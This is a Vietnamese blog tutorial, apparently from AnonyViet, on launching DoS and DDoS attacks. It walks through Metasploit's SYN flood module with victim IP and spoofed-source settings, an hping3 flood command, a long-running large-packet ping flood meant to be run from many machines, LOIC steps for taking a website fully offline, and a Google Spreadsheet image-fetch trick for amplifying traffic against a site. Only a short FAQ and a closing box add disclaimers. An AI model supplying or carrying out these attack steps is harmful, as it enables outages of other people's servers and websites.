Trong bài viết này, mình sẽ hướng dẫn cho các bạn cách tấn công DoS hoặc DDoS với công cụ Metasploit và Hping3 nhé. Những cách thức thực hiện khá là đơn giản và nhanh gọn, chỉ chưa đầy 3 phút bạn cũng đã có thể tạo ra một cuộc tấn công khá mạnh mẽ với số lượng Packets được gửi đi rất nhanh khiến cho máy của nạn nhân dẫn đến tình trạng tăng CPU đột ngột, mạng bị chập chờn hoặc bị nặng hơn là treo máy. Vì vậy mình khuyên các bạn nên test với số lượng packets vừa đủ là ok rồi. Còn bây giờ mình sẽ giới thiệu sơ qua về Metasploit và Hping3.

Metasploit 

Là một công cụ có tên gọi đầy đủ là Metasploit Framework đây là công cụ khai thác các lỗ hổng bảo mật được sử dụng nhiều nhất trên thế giới. Không những thế, còn giúp cho các nhà bảo mật thử nghiệm các cuộc thâm nhập và xác minh các lỗ hổng bảo mật sau đó họ sẽ đánh giá về lỗ hổng và nâng cao nhận thức về bảo mật. Metasploit được viết ngôn ngữ Ruby và nhiều ngôn ngữ khác như: Python, C,… để tạo ra các cuộc khai thác và tấn công trên nhiều loại hệ thống khác nhau như: Windows, Linux, WordPress,…vv. Như vậy, mình đã giới thiệu qua xong về Metasploit rùi. Ngoài ra, bạn cũng có thể dụng Metasploit để tấn công mạng, hack Windows từ xa, hoặc đột nhập máy tính trong các bài viết của Anonyviet nhé ^^.

Xem tất cả bài viết về cách sử dụng Metasploit để tấn công kiểm thử hệ thống.

Hping3

Là một công cụ mạng có thể gửi các gói ICMP/UDP/TCP (tùy bạn chỉnh nha) và hiển thị các câu trả lời đích giống như Ping thực hiện với các câu trả lời ICMP. Ngoài ra, nó còn xử lý phân mảnh và kích thước và nội dung gói tùy ý, có thể được sử dụng để truyền tệp theo các giao thức được hỗ trợ. Việc sử dụng Hping3, bạn có thể kiểm tra các tường lửa, thực hiện quét các cổng giả mạo, kiểm tra hiệu suất mạng bằng nhiều thức khác nhau, và thực hiện các hành động giống như theo dõi trong các giao thức khác. Hping3 được viết ngôn ngữ Tcl

Tìm hiểu rõ hơn về Hping3 tại đây

Để hiểu về tấn công DoS hoặc DDoS bạn có thể đọc bài viết đó tại đây. Không luyên thuyên nữa vào vấn đề luôn nào ^^

Cách tạo ra một cuộc tấn công DoS đơn giản bằng Metasploit và Hping3

Metasploit và Hping3 là công được giới thiệu trong chương trình CEH

Tấn công DoS với Metasploit

Ở bài viết này, mình sẽ chỉ cho các bạn cách tấn công DoS bằng phương pháp SYN Flood nhé. Còn ai chưa hiểu rõ cách tấn công này có thể tìm hiểu ở đây Để thực hiện cuộc tấn công trước tiên hãy mở Terminal lên và nhập lệnh msfconsole

Tiếp theo chúng ta nhập dòng lệnh use auxiliary/dos/tcp/synflood trên thanh Terminal của Metasploit

Tiếp đến, bạn nhập show options để hiện thị các phần cài đặt tùy chỉnh

Ở đây, chúng ta chú ý đến phần:

• NUM: số lượng Packet cần gửi
• RHOSTS: Địa chỉ IP máy tính của nạn nhân
• RPORT: Cổng đang hoạt động trên máy tính của nạn nhân
• SHOST: Địa chỉ IP bất kì mà bạn muốn đặt. Ví dụ địa chỉ IP bất kì mình muốn đặt là: 172.0.0.1
• SPORT: Cổng bất kì ( Phần này không cần cũng được )
• TIMEOUT: Thời gian chờ

Bước tiếp đến là chúng ta sẽ tiến hành cài đặt cuộc tấn công này

• set RHOSTS <ip máy tính nạn nhân>
• set RPORT <cổng máy tính nạn nhân đang hoạt động>
• set NUM <số lượng Packets cần gửi>
• set SHOST <ip giả mạo>
• set TIMEOUT <thời gian chờ>

Tại đây mình đã cài đặt cho cuộc tấn công như sau

• set rhosts 192.168.0.112
• set rport 80
• set num 0
• set shost 172.0.0.1
• set timeout 10000

Để bắt đầu cuộc tấn công chúng ta chỉ cần nhập exploitrồi nhấn Enter để bắt đầu tấn công

Bạn nào không biết cổng nào đang hoạt động trên máy tính nạn nhân chúng ta sẽ sử dụng Nmap để quét cổng nhé.

nmap -p <cổng cần quét> <ip máy tính nạn nhân>hoặc nmap -sV <ip nạn nhân>

Ví dụ: nmap -p 443 192.168.0.112 hoặc namp -sV 192.168.0.112

Sau đây là kết quả của cuộc tấn công

Chúng ta có thể sử dụng công cụ Wireshark để bắt các Packets đang gửi. Giờ đến phần tiếp theo nào ^.^

Tấn công DoS với Hping3

Cách thức thực hiện khá là nhanh và đơn giản. Chỉ với một câu lệnh ngắn bạn đã tạo ra một cuộc tấn công khá mạnh mẽ rồi.

Câu lệnh sẽ như sau: hping3 <ip máy nạn nhân> --flood và sau đây là kết quả nè

Uầy, Nếu như mà chúng ta kết hợp cả Metasploit và hping3 tấn công vào một máy thì không biết kết quả sẽ như thế nào nhỉ ?

Vậy là mình đã chỉ dẫn xong rồi nhé. Còn bây giờ xin chào và tạm biệt các bạn. Chúc các bạn có một lành tốt lành và làm việc học tập hiệu quả !

Bạn có thể đọc thêm bài viết Cách viết Tools DDoS đơn giản bằng Python 

Câu hỏi thường gặp

Metasploit và Hping3 là gì và chúng hoạt động như thế nào trong cuộc tấn công DoS?

Metasploit là một framework khai thác bảo mật cho phép thực hiện các cuộc tấn công DoS. Hping3 là một công cụ mạng gửi các gói tin với tốc độ cao, gây quá tải mạng và làm sập dịch vụ. Trong bài viết, cả hai công cụ được sử dụng để thực hiện một cuộc tấn công DoS bằng cách gửi một lượng lớn các gói tin tới máy nạn nhân.

Tôi có thể sử dụng các công cụ này để tấn công bất kỳ máy nào không?

Không. Việc sử dụng các công cụ này để tấn công các hệ thống mà bạn không có quyền truy cập là bất hợp pháp. Bài viết này chỉ nhằm mục đích giáo dục và minh họa cách thức hoạt động của các cuộc tấn công DoS. Bạn chỉ nên thực hiện các thử nghiệm trên hệ thống của riêng mình hoặc hệ thống mà bạn đã được cho phép.

Có cách nào để phòng tránh các cuộc tấn công DoS không?

Có nhiều biện pháp phòng tránh, bao gồm sử dụng tường lửa, hệ thống phát hiện và ngăn chặn xâm nhập (IDS/IPS), và các kỹ thuật giảm thiểu tấn công DoS như rate limiting. Việc thiết lập các chính sách bảo mật mạnh mẽ cũng rất quan trọng.

Làm Sao Để DDOS 

DDos là gì?

Một kiến ​​thức chính về internet và hàng loạt các trang web mà nó lưu trữ là những máy chủ này được lưu trữ trên máy chủ. Tuy nhiên, thông thường mọi máy chủ web đều bị hạn chế với khả năng cá nhân để xử lý yêu cầu tại một thời điểm nhất định.

DDOS nói nôm na là gửi một lượng lớn dữ liệu hoặc lượng truy cập để làm nghẽn đường truyền, Quá tải Sever máy chủ và nó không phân chia được nữa !

• Lúc đó Nạn nhân sẽ không thể nào nhận thêm kết nối từ người dùng khác. Hay nói cách khác là sập mạng !

Kể từ khi máy chủ ngừng hoạt động, nó sẽ làm treo trang web hoặc tạm thời ngừng hoạt động. Bí quyết là khi bạn DDos một trang web, nó dẫn đến trang web mất băng thông được phân bổ do đó dẫn đến tai nạn một trang web. Quá tải một mạng với số lượng lớn các yêu cầu đồng thời sẽ dẫn đến việc ngưng truyền tải dữ liệu giữa một máy chủ và một trang web của người sử dụng.

Làm thế nào để DDos Một IP hoặc Website?

Dưới đây là một vài phương pháp về cách DDoS một website hoặc một IP. Đây là những lệnh được đề cập dưới đây cần phải được theo sau để kết quả sự sụp đổ của một máy chủ.

Làm thế nào để Website DDoS bằng cách sử dụng Command Prompt

Trang web có phản hồi đường truyền tốt

Tìm một trang web nhỏ và tương thích và bạn muốn tấn công DDos

Check Địa Chỉ IP Của Web Cần Tấn Công

Tìm địa chỉ IP của trang web này.

Để lấy địa chỉ IP này sử dụng lệnh bên dưới 

[su_highlight color=”#f70628″]Ping www.example.com -t[/su_highlight]

Địa chỉ IP

Bạn sẽ nhận được một địa chỉ IP trông tương tự như xxx.xxx.xxx.xxx và có số

Tiếp tục Nhập lệnh sau

Tiếp theo gõ lệnh: ping [xxx.xxx.xxx.xxx] -t -l 65500

Chạy lệnh cho thời gian dài

Bây giờ chạy lệnh này trong một thời gian dài, tốt hơn trong vài giờ. Nếu khả thi sử dụng nhiều máy tính để thực hiện lệnh này cùng một lúc. Và bạn đang thực hiện DDOS 

• Bạn Ping Đồng Nghĩa với việc bạn gửi dữ liệu đến máy chủ IP đó. Nếu nhiều máy tính là cùng lúc, một trăm máy, hoặc một ngàn máy thì đây sẽ là cuộc tấn công mang tính nguy hiểm quốc tế ! 

Hiện Lỗi Máy chủ không có sẵn khi truy cập trang Web

Trang web sẽ hiển thị thông báo “máy chủ không hoạt động“ hoặc “trang web tạm thời”

Dấu hiệu của sự tắt nghẽn trong hệ thống máy chủ !

Xem Thêm Video

Một lưu ý nhanh để nhớ là kết nối internet của bạn nên có một băng thông không giới hạn hoặc nó sẽ dẫn đến mất băng thông để thực hiện nhiệm vụ này, có nghĩa là nếu đường truyền internet nhà bạn yếu, và băng thông thấp -> Mạng nhà bạn sập ( Phản Dame )

Giới Thiệu LOIC Tự động DDos Attack Đối với Website

[toggle title=”Làm Thế Nào ?”]

Nếu bạn nhắm mục tiêu để đóng cửa một trang web hoàn toàn, bạn sẽ cần sự trợ giúp của công cụ có tên LOIC , cũng là chữ viết tắt của Low Orbone Ion Canon. Dưới đây ta sẽ ban cho các con sự hướng dẫn về công cụ này !! Các con chú ý nhé !

Tải phần mềm LOIC

[su_button url=”http://sourceforge.net/projects/loic/” target=”blank” style=”stroked” background=”#5aa6c6″ color=”#57fc67″ size=”5″ center=”yes” radius=”round” icon=”icon: paw” icon_color=”#57fc67″ text_shadow=”0px 0px 0px #81fb8c”]DownLoad LOIC[/su_button]

Sau khi Down Về Thì Giải Nén ( Extract )

Sau khi phần mềm được tải về, giải nén nó vào máy tính để bàn Windows

Mở Phần Mềm lên ( Phần mềm này không yêu cầu cài đặt )

Nhập Url Website

Chèn URL trang web mà bạn muốn DDOS

Nhập Địa chỉ IP (Tùy chọn)

Mặc dù không bắt buộc nhưng bạn cũng có thể đặt địa chỉ IP trong trường IP , bạn có thể tìm thấy từ lệnh ping trên Windows ( Như hướng dẫn ở đầu bài ) – Ping nó và lấy IP

Nhấn Lock On

Tiếp theo nhấn vào nút “Lock On”

Thiết lập phương thức tấn công

Dưới tùy chọn ‘ Attack Option ‘

Tùy chọn Dữ liệu gửi đi đến một trong hai cổng TCP / UDP

Dưới tùy chọn ‘ TCP / UDP Message ‘ -> bạn có thể chọn để đề cập đến bất cứ điều gì bạn muốn

Tùy chọn Port

Dưới tùy chọn ‘ Port ‘ -> thay đổi nó thành giá trị của trang web mục tiêu bị tấn công (giá trị ” 80 ” hoạt động trong hầu hết các trường hợp) còn không thì lên Check host để tìm port nó đang hoạt động

Thay đổi giá trị Thread

Trong trường hợp bạn có một máy tính thực sự tốt, bạn có thể thay đổi giá trị Thread đến 20, hoặc mặc định 10 để làm việc tốt.

Vậy Làm Sao để DDOS

Hãy Nhấn IIMA CHARGIN MAH LAZER

Bây giờ nhấn nút ” IIMA CHARGIN MAH LAZER ” -> Tiến hành Lực Lượng Tổng Tấn Công Trung Tâm Máy Chủ Thôi nào !!! 

Tham Khảo Thêm Video How To USE

Chạy phần mềm này trong tối thiểu một giờ. Sau một giờ ghé thăm trang web được nhắm mục tiêu. Nó sẽ hiển thị một thông báo lỗi được gọi là ” Dịch vụ Không sẵn sàng ”

[/toggle]

Sử dụng Bảng tính Google Để DDos một IP hoặc Trang web

[toggle title=”Làm Thế Nào ?”]

Đó là một thực tế được biết rằng Google sử dụng một ‘ trình thu thập dữ liệu feedfetcher ‘ để nắm bắt hình ảnh và sau đó nó sẽ hiển thị hình ảnh bộ nhớ cache. Tương tự như vậy, Google cũng sử dụng kỹ thuật tương tự cho Google Spreadsheet để lưu trữ và hiển thị bất kỳ hình ảnh nào được chỉ định bên trong giá trị hình ảnh (“”) .

Ví dụ: nếu bạn nhập vào = image (“http://www.example.com/wp-content/uploads/2016/LOIC.png”) trong bảng tính của Google, nó sẽ tìm nạp hình ảnh và sau đó hiển thị nó từ Bộ nhớ cache. nó sẽ gửi lưu lượng truy cập đến Website đó để tìm kiếm hình ảnh và trả về đường link.

Thủ thuật ở đây là, nếu bạn sử dụng một yêu cầu tham số ngẫu nhiên, nó sẽ chạy lệnh feed fetcher crawler để xem lại cùng một file nhiều lần.

• Tuy nhiên, nếu bạn sử dụng liên kết tệp pdf lớn, trình thu thập dữ liệu của Google feedfetcher sẽ không thể tìm nạp bất cứ thứ gì.
• Mặc dù, nó sẽ crawl cùng một trang web nhiều lần mà sẽ dẫn đến một ngăn xếp của băng thông đi gửi kết quả như vậy dẫn đến một mất mát giao thông .
• Phần tốt nhất về thủ thuật này là nó sẽ không mất băng thông của bạn, vì nó không tìm nạp gì.

Một lưu lượng truy cập được nhắm mục tiêu lên đến 250GB có thể được thực hiện trong vòng ít nhất 45 phút bằng cách sử dụng một máy tính xách tay.

Đây là cách tạm thời thôi ! Sức tấn công của nó không mạnh bằng Thánh LOIC

[/toggle]

[su_box title=”Lưu Ý” style=”bubbles” box_color=”#26d696″ title_color=”#4c47d9″ radius=”7″]Hãy lưu ý đây là tài liệu tham khảo học tập để biết thêm kiến thức. AnonyViet không khuyến cáo bất cứ hành động DDOS nào. Đặc biệt không nên DDOS các web chính phủ hoặc có đuôi .edu[/su_box]